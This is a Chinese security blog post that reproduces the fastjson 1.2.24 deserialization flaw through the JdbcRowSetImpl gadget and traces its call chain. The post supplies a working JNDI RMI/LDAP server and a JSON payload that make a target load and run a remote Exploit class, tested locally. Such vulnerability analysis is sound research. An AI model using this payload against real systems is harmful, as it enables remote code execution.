fastjson 1.2.24-基于JdbcRowSetImpl的PoC构造与分析
前言:
基于fastjson的第一种payload是基于templatesImpl的方式,但是这种方式要求Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,是有限制的,这篇文章分析的基于jdbcRowSetImpl的方式可以使用jndi的方式更具有通用性一些,关于templateImpl的利用方式参考https://www.cnblogs.com/wfzWebSecuity/p/11431543.html
复现:
RMI:
package person.server; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIServer { public static void start() throws AlreadyBoundException, RemoteException, NamingException { Registry registry = LocateRegistry.createRegistry(1099); //rmi服务器绑定1099端口 Reference reference = new Reference("Exploit", "Exploit","http://127.0.0.1:8080/"); //请求本地8080端口 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); //绑定工厂类,即rmi将去本地web目录下去找Exploit.class } public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { start(); } }
比如此时先本地起一个rmi服务器
exp:
package person; import com.alibaba.fastjson.JSON; public class JdbcRowSetImplPoc { public static void main(String[] argv){ testJdbcRowSetImpl(); } public static void testJdbcRowSetImpl(){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}"; JSON.parse(payload); } }
然后指定rmi的地址,触发payload解析,从而calc,其中Exploit.class不要带包名,
这里java版本用的是1.8.0,用1.8.0_202中要设置trustCodebase选项,也就是做了一定的限制,直接从外部加载类的话是不被允许的
用mashalsec起rmi服务:
此时也能够calc
ldap:
用marshalsec在本地起一个ldap服务,然后将Exploit.class放到启动的当前目录下
然后本地先测试一下1.8.0版本的jdk能否直接从ldap加载exploit.class
public static void testLdap(){ String url = "ldap://127.0.0.1:1389"; Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, url); try{ DirContext dirContext = new InitialDirContext(env); System.out.println("connected"); System.out.println(dirContext.getEnvironment()); Reference e = (Reference) dirContext.lookup("e"); }catch(NameNotFoundException ex){ ex.printStackTrace(); }catch(Exception e){ e.printStackTrace(); } }
exp:
public class JdbcRowSetImplPoc { public static void main(String[] argv){ testJdbcRowSetImpl(); } public static void testJdbcRowSetImpl(){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}"; JSON.parse(payload); } }
直接通过ldap加载没问题,可以calc
调用链分析:
之前尝试parse处下一个断点然后正向找到setvalue函数处来分析,可以整个处理过程太过于繁琐,尤其是到asm处,中间不知道得有n个F7,遂这里直接在setDataSourceName处下断点
即此时将从我们payload中指定的DataSourceName中去加载class
接下来到setAutoCommit中
其中调用了connect()函数,跟进,此时就能看到熟悉的lookup函数啦,即从远程加载class的关键点
此时getDataSourceName()的返回值也可以看到即为我们所指定的
然后跟进lookup看看如何调用实例化,这里调用了getURLOrDefaultInitCtx(name).lookup()函数
此时就到了java的命名服务管理的类,此时调用getURLContext函数请求ldap,进一步在其中调用getURLObject来通过从远程的ldap服务获取对象
此时就到了最终的exploit.class类的实例化,也就是工厂类的实例化,熟悉的getObjectInstance(),此时就完成了反序列化,从而触发exploit里的构造函数
调用链如下所示:
参考: